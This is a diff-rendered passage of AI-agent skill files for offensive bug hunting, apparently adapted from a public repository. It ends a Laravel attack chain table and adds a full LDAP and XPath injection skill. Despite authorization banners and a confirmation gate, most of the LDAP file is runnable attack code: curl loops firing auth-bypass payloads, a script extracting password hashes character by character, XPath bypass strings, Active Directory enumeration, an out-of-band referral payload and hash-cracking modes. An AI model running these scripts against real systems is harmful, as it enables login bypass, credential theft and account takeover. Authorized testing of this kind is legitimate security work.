| Laravel finding | Chain to | Impact |
|
|
214
|
+
|----------------|----------|--------|
|
|
215
|
+
| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |
|
|
216
|
+
| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |
|
|
217
|
+
| Horizon accessible | Read failed job payloads | High - PII/token exfil |
|
|
218
|
+
| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |
|
|
219
|
+
| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |
|
|
220
|
+
| Mass assignment | Set is_admin=true → privilege escalation | Critical |
|
|
221
|
+
|
|
222
|
+
---
|
|
223
|
+
|
|
224
|
+
## Validation
|
|
225
|
+
|
|
226
|
+
✅ Ignition RCE: `id` command output returned in response
|
|
227
|
+
✅ Telescope: API responses contain DB queries with credentials or user tokens
|
|
228
|
+
✅ APP_KEY: Forged session cookie accepted, returns another user's profile
|
|
229
|
+
✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges
|
|
230
|
+
|
|
231
|
+
**Severity:**
|
|
232
|
+
- Ignition RCE: Critical
|
|
233
|
+
- Telescope/Horizon with sensitive data: High
|
|
234
|
+
- .env with APP_KEY: Critical
|
|
235
|
+
- Mass assignment to admin: Critical
|
|
236
|
+
|
|
237
|
+
## When to Use
|
|
238
|
+
|
|
239
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
240
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
241
|
+
|
|
242
|
+
## Limitations
|
|
243
|
+
|
|
244
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
245
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
246
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
247
|
+
|
|
248
|
+
### Example
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# Read-only first step; confirm scope before anything active.
|
|
252
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,351 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-ldap
|
|
3
|
+
description: Hunt LDAP Injection and XPath Injection
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, owasp, portswigger
|
|
16
|
+
report_count: 0
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-LDAP — LDAP Injection & XPath Injection
|
|
33
|
+
|
|
34
|
+
> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
|
|
35
|
+
> public platforms (most live on internal-pentest reports). This skill is
|
|
36
|
+
> grounded in the **OWASP LDAP Injection Prevention / Testing Guide
|
|
37
|
+
> (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and
|
|
38
|
+
> the **RFC 4515** filter grammar — all publicly verifiable references rather
|
|
39
|
+
> than invented HackerOne IDs. Do not cite a report you cannot link.
|
|
40
|
+
|
|
41
|
+
## Crown Jewel Targets
|
|
42
|
+
|
|
43
|
+
LDAP injection that bypasses authentication = **Critical**. Blind attribute
|
|
44
|
+
exfiltration of credentials/secrets = **High**. AD enumeration alone = Medium-High.
|
|
45
|
+
|
|
46
|
+
**Highest-value chains:**
|
|
47
|
+
- **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the
|
|
48
|
+
bind/search returns the admin entry without a valid password.
|
|
49
|
+
- **Blind attribute exfil** — char-by-char extraction of an attribute value via a
|
|
50
|
+
boolean oracle (login success/failure, result count, or response length).
|
|
51
|
+
- **userPassword hash exfil (non-AD only)** — on OpenLDAP/389-DS the
|
|
52
|
+
`userPassword` attribute can hold `{SSHA}`/`{CRYPT}` hashes that ARE readable
|
|
53
|
+
by query. See the AD-vs-generic warning below.
|
|
54
|
+
- **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## CRITICAL — Active Directory vs generic LDAP
|
|
59
|
+
|
|
60
|
+
Do **not** conflate the two. They behave very differently:
|
|
61
|
+
|
|
62
|
+
| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
|
|
63
|
+
|---|---|---|
|
|
64
|
+
| Password attribute | `userPassword` — may hold `{SSHA}`/`{MD5}`/`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |
|
|
65
|
+
| Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |
|
|
66
|
+
| Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |
|
|
67
|
+
|
|
68
|
+
**Do not tell a reader that blind LDAP injection yields AD password hashes — it
|
|
69
|
+
does not.** `unicodePwd` is write-only. Against AD, the win is enumeration
|
|
70
|
+
(`sAMAccountName`, `memberOf`, `description`/`info` fields that admins misuse to
|
|
71
|
+
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
|
|
72
|
+
applies **only** to non-AD directories exposing `userPassword`.
|
|
73
|
+
|
|
74
|
+
---
|
|
75
|
+
|
|
76
|
+
## Attack Surface Signals
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
|
|
80
|
+
Windows + IIS + "integrated" directory auth
|
|
81
|
+
/api/ldap/* /api/directory/* /people /address-book /search?dir=
|
|
82
|
+
"Find a colleague" / org-chart / employee-search features
|
|
83
|
+
XML-backed config or auth → XPath injection candidate
|
|
84
|
+
Error strings that confirm an LDAP backend:
|
|
85
|
+
javax.naming.NameNotFoundException
|
|
86
|
+
javax.naming.directory.InvalidSearchFilterException
|
|
87
|
+
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
|
|
88
|
+
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
|
|
89
|
+
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## LDAP filter grammar (RFC 4515) — why injection works
|
|
95
|
+
|
|
96
|
+
A login filter is typically built by string-concat:
|
|
97
|
+
|
|
98
|
+
```
|
|
99
|
+
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
`&` = AND, `|` = OR, `!` = NOT. **Filters are prefix/Polish notation** — the
|
|
103
|
+
operator comes first and every sub-filter is parenthesised. To inject you must
|
|
104
|
+
(a) escape the current `(uid=...)` group, (b) inject your own logic, and
|
|
105
|
+
(c) leave the overall parenthesis count **balanced** or the server throws a
|
|
106
|
+
filter-syntax error instead of executing.
|
|
107
|
+
|
|
108
|
+
### The special-character set — TEST EACH ONE
|
|
109
|
+
|
|
110
|
+
These characters are syntactically meaningful and MUST be escaped by a safe app
|
|
111
|
+
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
|
|
112
|
+
them raw, the input is unescaped → injectable:
|
|
113
|
+
|
|
114
|
+
| Char | Filter escape | Why it matters |
|
|
115
|
+
|------|---------------|----------------|
|
|
116
|
+
| `*` | `\2a` | wildcard — matches any value |
|
|
117
|
+
| `(` | `\28` | opens a filter group |
|
|
118
|
+
| `)` | `\29` | closes a filter group |
|
|
119
|
+
| `\` | `\5c` | escape char itself |
|
|
120
|
+
| NUL | `\00` | string terminator — truncates filter in C-backed servers |
|
|
121
|
+
| `/` | (DN context) | RDN separator — relevant for DN injection |
|
|
122
|
+
|
|
123
|
+
**Search-filter context vs DN injection** are different bugs:
|
|
124
|
+
- **Search-filter injection** (most common): your input lands inside a
|
|
125
|
+
`(attr=VALUE)` filter. Payloads use `* ( ) & | !`.
|
|
126
|
+
- **DN injection**: your input is concatenated into a Distinguished Name
|
|
127
|
+
(`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `"` `\` `<` `>` `;` and `/`
|
|
128
|
+
matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## Step-by-Step Hunting Methodology
|
|
133
|
+
|
|
134
|
+
### Phase 1 — Confirm an LDAP backend (baseline first)
|
|
135
|
+
|
|
136
|
+
```bash
|
|
137
|
+
# ALWAYS capture a control response first — you compare everything to this.
|
|
138
|
+
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
|
|
139
|
+
-X POST https://$TARGET/api/login \
|
|
140
|
+
-H "Content-Type: application/json" \
|
|
141
|
+
-d '{"username":"validlookinguser","password":"wrongpass"}')
|
|
142
|
+
echo "BASELINE (valid-format, wrong pw): $BASE"
|
|
143
|
+
|
|
144
|
+
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
|
|
145
|
+
# An INJECTABLE app → 500 / filter-syntax error / different size.
|
|
146
|
+
curl -s -X POST https://$TARGET/api/login \
|
|
147
|
+
-H "Content-Type: application/json" \
|
|
148
|
+
-d '{"username":"test)","password":"x"}' | grep -iE \
|
|
149
|
+
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
A lone `)` that produces a syntax error/500 while a balanced payload does not is
|
|
153
|
+
the cleanest LDAP-injection tell — note it, you will need it as proof.
|
|
154
|
+
|
|
155
|
+
### Phase 2 — Auth-bypass payloads (balance your parentheses)
|
|
156
|
+
|
|
157
|
+
```bash
|
|
158
|
+
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
|
|
159
|
+
# Goal: make the uid sub-filter always-true and neutralise the password clause.
|
|
160
|
+
|
|
161
|
+
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
|
|
162
|
+
# username = *)(uid=*))(|(uid=* password = anything
|
|
163
|
+
# Always-true admin (OR uid=*):
|
|
164
|
+
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
|
|
165
|
+
# NUL-truncate the password clause (C-backed servers):
|
|
166
|
+
# username = admin)(uid=*))%00 password = x
|
|
167
|
+
|
|
168
|
+
USERNAME_PAYLOADS=(
|
|
169
|
+
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
|
|
170
|
+
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
|
|
171
|
+
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
|
|
172
|
+
'admin*' # simple wildcard suffix — try first, lowest noise
|
|
173
|
+
)
|
|
174
|
+
|
|
175
|
+
for P in "${USERNAME_PAYLOADS[@]}"; do
|
|
176
|
+
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
|
|
177
|
+
-H "Content-Type: application/json" \
|
|
178
|
+
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
|
|
179
|
+
echo "PAYLOAD: $P"
|
|
180
|
+
echo "RESP: ${R: -40}"
|
|
181
|
+
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
|
|
182
|
+
echo "---"
|
|
183
|
+
done
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*
|
|
187
|
+
full filter, not just your payload. If the app appends `)(userPassword=...))`
|
|
188
|
+
after your input, leave the right number of trailing `)` so the final string is
|
|
189
|
+
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
|
|
190
|
+
|
|
191
|
+
### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
|
|
192
|
+
|
|
193
|
+
Raw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
|
|
194
|
+
length-jitter on the injected char itself). Use a **paired true/false control**
|
|
195
|
+
so the oracle is the *response*, not the absolute size.
|
|
196
|
+
|
|
197
|
+
```bash
|
|
198
|
+
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
|
|
199
|
+
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
|
|
200
|
+
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
|
|
201
|
+
probe () { # $1 = filter-tail payload -> prints normalized size
|
|
202
|
+
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
|
|
203
|
+
-H "Content-Type: application/json" \
|
|
204
|
+
-d "{\"username\":\"$1\",\"password\":\"x\"}"
|
|
205
|
+
}
|
|
206
|
+
T=$(probe 'admin)(uid=*))(|(uid=*')
|
|
207
|
+
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
|
|
208
|
+
echo "TRUE-class size=$T FALSE-class size=$F"
|
|
209
|
+
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
|
|
210
|
+
|
|
211
|
+
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
|
|
212
|
+
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
|
|
213
|
+
PREFIX=""
|
|
214
|
+
for pos in $(seq 1 32); do
|
|
215
|
+
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
|
|
216
|
+
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
|
|
217
|
+
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
|
|
218
|
+
done
|
|
219
|
+
done
|
|
220
|
+
echo "RECOVERED: $PREFIX"
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
False-positive guards for blind exfil:
|
|
224
|
+
- **Repeat each positive char 3x** and confirm the size is stable — length-jitter
|
|
225
|
+
from the attacker-controlled char itself is the #1 false positive.
|
|
226
|
+
- Confirm the **FALSE control still returns the FALSE size** after each round (the
|
|
227
|
+
app didn't just start erroring on every request — WAF block looks like a match).
|
|
228
|
+
- If body length is unreliable, switch the oracle to **HTTP status**, a **body
|
|
229
|
+
marker string** (`"Invalid credentials"` present/absent), or **timing** with a
|
|
230
|
+
heavy filter — but only after establishing a stable baseline delta.
|
|
231
|
+
|
|
232
|
+
### Phase 4 — XPath injection (XML-backed auth)
|
|
233
|
+
|
|
234
|
+
```bash
|
|
235
|
+
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
|
|
236
|
+
# Bypass closes the name predicate and OR-trues the whole expression.
|
|
237
|
+
XPATH_PAYLOADS=(
|
|
238
|
+
"' or '1'='1"
|
|
239
|
+
"' or ''='"
|
|
240
|
+
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
|
|
241
|
+
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
|
|
242
|
+
"*[contains(name(),'pass')]" # node-name discovery
|
|
243
|
+
)
|
|
244
|
+
for P in "${XPATH_PAYLOADS[@]}"; do
|
|
245
|
+
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
|
|
246
|
+
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
|
|
247
|
+
--data-urlencode "username=$P" --data-urlencode "password=x")
|
|
248
|
+
echo "$P -> ${R: -24}"
|
|
249
|
+
done
|
|
250
|
+
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
### Phase 5 — AD enumeration via wildcard (count oracle, with control)
|
|
254
|
+
|
|
255
|
+
```bash
|
|
256
|
+
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
|
|
257
|
+
# A directory that returns the SAME count for both is NOT leaking via wildcard.
|
|
258
|
+
count () { curl -s -X POST https://$TARGET/api/directory/search \
|
|
259
|
+
-H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
|
|
260
|
+
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
|
|
261
|
+
CTRL=$(count "zzqx_unlikely")
|
|
262
|
+
echo "control count (should be ~0): $CTRL"
|
|
263
|
+
for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
|
|
264
|
+
# Then pivot to memberOf / description for privileged accounts:
|
|
265
|
+
# (&(sAMAccountName=*)(memberOf=*Domain Admins*))
|
|
266
|
+
# (description=*pw*) (description=*pass*) — admins stash secrets here
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
### Phase 6 — Tooling & OOB confirmation
|
|
270
|
+
|
|
271
|
+
```bash
|
|
272
|
+
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
|
|
273
|
+
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
|
|
274
|
+
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
|
|
275
|
+
|
|
276
|
+
# Burp: Intruder over the char set for blind exfil; the Web Security Academy
|
|
277
|
+
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
|
|
278
|
+
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
|
|
279
|
+
# inject a referral/URL the server dereferences, point it at Collaborator:
|
|
280
|
+
# (uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
|
|
281
|
+
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
|
|
282
|
+
# as the gold-standard confirmation for otherwise-blind cases.
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
## Chain Table
|
|
288
|
+
|
|
289
|
+
| LDAP finding | Chain to | Impact |
|
|
290
|
+
|--------------|----------|--------|
|
|
291
|
+
| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
|
|
292
|
+
| AD enumeration (`sAMAccountName`) | Username list → password spray / credential stuffing | Mass-ATO risk |
|
|
293
|
+
| `memberOf` enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
|
|
294
|
+
| `description`/`info` field read | Plaintext creds admins stashed there | Direct credential leak |
|
|
295
|
+
| Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` prefix (`$1$`=500, `$6$`=1800) → offline crack | High |
|
|
296
|
+
| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
|
|
297
|
+
|
|
298
|
+
> AD has no readable password attribute — do not list "extract AD hashes" as a
|
|
299
|
+
> chain. Against AD, the credential win comes from `description`/`info` misuse or
|
|
300
|
+
> from enumerated usernames feeding a spray, never from `unicodePwd`.
|
|
301
|
+
|
|
302
|
+
---
|
|
303
|
+
|
|
304
|
+
## Validation — rule out the false positive BEFORE you report
|
|
305
|
+
|
|
306
|
+
A "bypass" or "match" is only real once you have eliminated syntax-error,
|
|
307
|
+
WAF-block, and length-jitter explanations.
|
|
308
|
+
|
|
309
|
+
- [ ] **Auth bypass:** the always-true payload returns a **valid authenticated
|
|
310
|
+
session** (session cookie + access to a post-login resource), and the same
|
|
311
|
+
request with one paren removed returns a **filter-syntax error** — proving
|
|
312
|
+
the filter parsed and executed, not that the app fell open on every input.
|
|
313
|
+
- [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload
|
|
314
|
+
(`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both
|
|
315
|
+
true-class and false-class "succeed", you found a broken endpoint, not LDAP
|
|
316
|
+
injection.
|
|
317
|
+
- [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the
|
|
318
|
+
FALSE control still reads FALSE between rounds; recovered value verified by
|
|
319
|
+
a direct lookup or by the auth-bypass payload that uses it.
|
|
320
|
+
- [ ] **XPath:** quotes/brackets remained balanced (no 500), and the bypass logged
|
|
321
|
+
in to a real account context — not just a different error page.
|
|
322
|
+
- [ ] **OOB where possible:** a Collaborator DNS/LDAP interaction from a referral
|
|
323
|
+
payload is decisive for blind cases — prefer it over length-only inference.
|
|
324
|
+
- [ ] **AD claim discipline:** if you say "AD", you enumerated AD-specific attrs
|
|
325
|
+
(`sAMAccountName`/`memberOf`); never claim AD hash exfil.
|
|
326
|
+
|
|
327
|
+
**Severity:**
|
|
328
|
+
- Auth bypass landing as admin/privileged directory entry: **Critical**
|
|
329
|
+
- `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**
|
|
330
|
+
- AD user/group enumeration only: **Medium-High**
|
|
331
|
+
- Blind boolean oracle confirmed but no useful attribute reachable: **Medium**
|
|
332
|
+
|
|
333
|
+
## When to Use
|
|
334
|
+
|
|
335
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
336
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
337
|
+
|
|
338
|
+
## Limitations
|
|
339
|
+
|
|
340
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
341
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
342
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
343
|
+
|
|
344
|
+
### Example
|
|
345
|
+
|
|
346
|
+
```bash
|
|
347
|
+
# Read-only first step; confirm scope before anything active.
|
|
348
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
349
|
+
```
|
|
350
|
+
|
|
351
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|